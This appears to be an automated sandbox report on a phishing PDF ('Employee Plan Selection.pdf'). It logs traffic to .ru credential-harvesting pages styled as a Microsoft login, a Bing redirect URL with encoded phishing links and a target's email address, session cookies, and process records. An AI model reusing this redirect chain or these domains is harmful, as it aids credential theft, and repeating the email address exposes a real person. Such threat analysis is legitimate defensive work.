Source: global traffic	HTTP traffic detected: GET /81d6b03a-9wsbrvuoosuxh3gdnwlczthphjkydqjsed4eiboga3a/logintenantbranding/0/illustration?ts=638071068858086291 HTTP/1.1Host: aadcdn.msauthimages.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sqFe2cxTSaslUBe28UkjbqSL6ooud7YFvBOactUj9nwxe HTTP/1.1Host: 86zv.vocalentr.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjRRcXhvWENnVWhlR1BNRVFkQjdZT1E9PSIsInZhbHVlIjoiYkdVT0hiNEh6NjV5VnBId3hYNkQ0NFhFNzBad2FWYlMwendrMVdaRDFpdVpqaDNiRHpJbFk1MTNSQnJtT2tySGZIcVlxVzV3cUptaXV4ZlRncS9vVVA0LzhkQnpmU05Wa0huQ0JNVDhWQWo0WUZ1dm9iYWJvTFpUUTBGY1NtTnQiLCJtYWMiOiIwMGI5YWU4ZWRlMWNjMzMwNTYzYWJkNzVhOWRkNjNkNWFlZGQ1YTQwZDBiYTY5ZWFmYjY2MWU4YzkzMmYyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdscVd5VjFxeEFiQktucHpXdldXTEE9PSIsInZhbHVlIjoiY29qUFJiM0NBaUtmRUxQRmFUWEFRQkVXTmpBeURsaTh4d281djg0R2hlWnplQ00vaUZjTFdqbDZDNWRuRjkyQVZWRDlyYmlIVkVZWklwYnlkdEJkWnBCd0pQakw4Tk04bFBmU2JKbEsrUkZrNGgrTFRpTXFDeXgvR2hLOEpQRjgiLCJtYWMiOiJhNzlhZDAwNjVjZDcyMDZjOGY2OTAzNzAzNjFjOWZkZmZjMWI2OWFhZGJlZjFhN2YyYTYxNTExMjlhM2Q3NjVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /71223218006441795962440LIUDZvSCVUSPNGGQEZAUMFMAHLZKUQJEIGNQLFSIKTWCZFFHYHNKHQXPHRHKIXLJIAyzP792Id2cGVt78tDZqr50 HTTP/1.1Host: ffbwk9qf2kkuza6cl8ikqd0hfexzq2uzymwiopyrk4i2kuoolbxronzxw.leokwu.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org

Source: global traffic	DNS traffic detected: DNS query: www.amazingasseenontv.com
Source: global traffic	DNS traffic detected: DNS query: 86zv.vocalentr.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: tk7bj.kqnsgn.ru
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: ffbwk9qf2kkuza6cl8ikqd0hfexzq2uzymwiopyrk4i2kuoolbxronzxw.leokwu.ru
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Source: unknown

HTTP traffic detected: POST /report/v4?s=Hh3asFiW4qj0csbjIDllxLD%2FPpF1QJDvqaVSJA6UneZw1dVePl6LxcPASpCv91WhgmtDl%2FpmTtIciUn5pJvgOM12vGCTk2SjzfA%2B4i3709EbFlVlTqcehRZuTmvXBIEf1RG6 HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 433Content-Type: application/reports+jsonOrigin: https://86zv.vocalentr.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Apr 2025 05:39:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hh3asFiW4qj0csbjIDllxLD%2FPpF1QJDvqaVSJA6UneZw1dVePl6LxcPASpCv91WhgmtDl%2FpmTtIciUn5pJvgOM12vGCTk2SjzfA%2B4i3709EbFlVlTqcehRZuTmvXBIEf1RG6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=10167&min_rtt=10082&rtt_var=3842&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2245&delivery_rate=282483&cwnd=213&unsent_bytes=0&cid=90584c3fda36f7dd&ts=426&x=0"Cache-Control: max-age=14400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 9295bf0d5e34377d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=91137&min_rtt=90909&rtt_var=19521&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1900&delivery_rate=33370&cwnd=252&unsent_bytes=0&cid=43f90ef9ee300a45&ts=2650&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Apr 2025 05:40:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hC1kJ%2BfZeIvzHs1QMHbv%2FhOg9AGM9bR%2FlDob7bfb%2FifnyfRykN1ewzm0P1PjY6%2FvA2%2Bdne7lWJ4VEh2v%2FTPM0LTqB1OSkDFo5LZtwNoacTSPM9Na%2F1dj0gHRpdIER%2BTxqKBu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=10305&min_rtt=10213&rtt_var=3896&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2058&delivery_rate=278860&cwnd=239&unsent_bytes=0&cid=59994c39dde378b8&ts=412&x=0"Server: cloudflareCF-RAY: 9295bffddbb47c7e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=94373&min_rtt=93085&rtt_var=21574&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1715&delivery_rate=31513&cwnd=252&unsent_bytes=0&cid=a2384977b9785e74&ts=772&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Apr 2025 05:40:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dI0SykRMNK6k8Euhb%2BI2UQ2EbINTlH%2Bzjv5hAJikwO021TT8ihK28TubTp9HNXMHIWXM%2Bc3pWpy%2FWibKA4KCaF%2BRAs7ZxLct2xB1kxVHGdbjxA6o4%2BvwgGP9boGlEesykafg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=10513&min_rtt=10377&rtt_var=3989&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2058&delivery_rate=274453&cwnd=252&unsent_bytes=0&cid=1dd5f165f40cf4aa&ts=237&x=0"Server: cloudflareCF-RAY: 9295c00acc6a3344-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=91527&min_rtt=90271&rtt_var=20932&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1714&delivery_rate=32489&cwnd=252&unsent_bytes=0&cid=58f3ca4c4f053728&ts=605&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Apr 2025 05:41:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YmVS1y4BsWpkGbX7%2Bb45eCNLdEr8hGOfXZyGQSjW84pzCGdpFo1vvrL8YerJU3I2r9qseHh0pFl1Axhrz17AwvGgcdiYD6CnT5gz2YQz3IkbeZbUC2wDgO8TapR4vXbjA489"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=10658&min_rtt=10567&rtt_var=4028&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2064&delivery_rate=269518&cwnd=235&unsent_bytes=0&cid=9026d927196a5465&ts=230&x=0"Server: cloudflareCF-RAY: 9295c1abce978c77-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=90922&min_rtt=87001&rtt_var=24247&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1721&delivery_rate=30910&cwnd=252&unsent_bytes=0&cid=3c275535d1565cb3&ts=605&x=0"

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_187.4.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: 8269cd83-1a48-490b-a57a-c31666173a4b.tmp.2.dr, e5005040-0564-4b6d-8bc7-13a290fc4a47.tmp.2.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: chromecache_187.4.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_191.4.dr	String found in binary or memory: https://www.amazon.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.7.124:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.210.119:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.210.119:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.101:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.3:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.16:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.16:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.127:443 -> 192.168.2.16:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.127:443 -> 192.168.2.16:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.16:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.16:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.16:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49796 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir3796_2115380438

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir3796_2115380438

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Window title found: continue for protected access - google chrome chrome legacy window

Source: classification engine

Classification label: mal100.phis.troj.evad.winPDF@39/131@41/19

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-04-01 01-39-23-891.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Employee Plan Selection.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2268 --field-trial-handle=1592,i,4560148023317636095,12695874837690103319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument about:blank
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,17045829419568648293,9011026404171363081,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.bing.com/ck/a?!&&p=91605fd235fcf04ed888d9660fc773b4df96861700d1163ea175e84ca2c7c6c5JmltdHM9MTc0MzI5MjgwMA&ptn=3&ver=2&hsh=4&fclid=39cc044d-b2f8-6b7c-2c33-11f2b3af6a54&u=a1aHR0cDovL3d3dy5hbWF6aW5nYXNzZWVub250di5jb20v#aHR0cHM6Ly84NnpWLnZvY2FsZW50ci5ydS8zSk85M0ZtLw==/#Mpaskl@bellpotter.com.au
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2268 --field-trial-handle=1592,i,4560148023317636095,12695874837690103319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
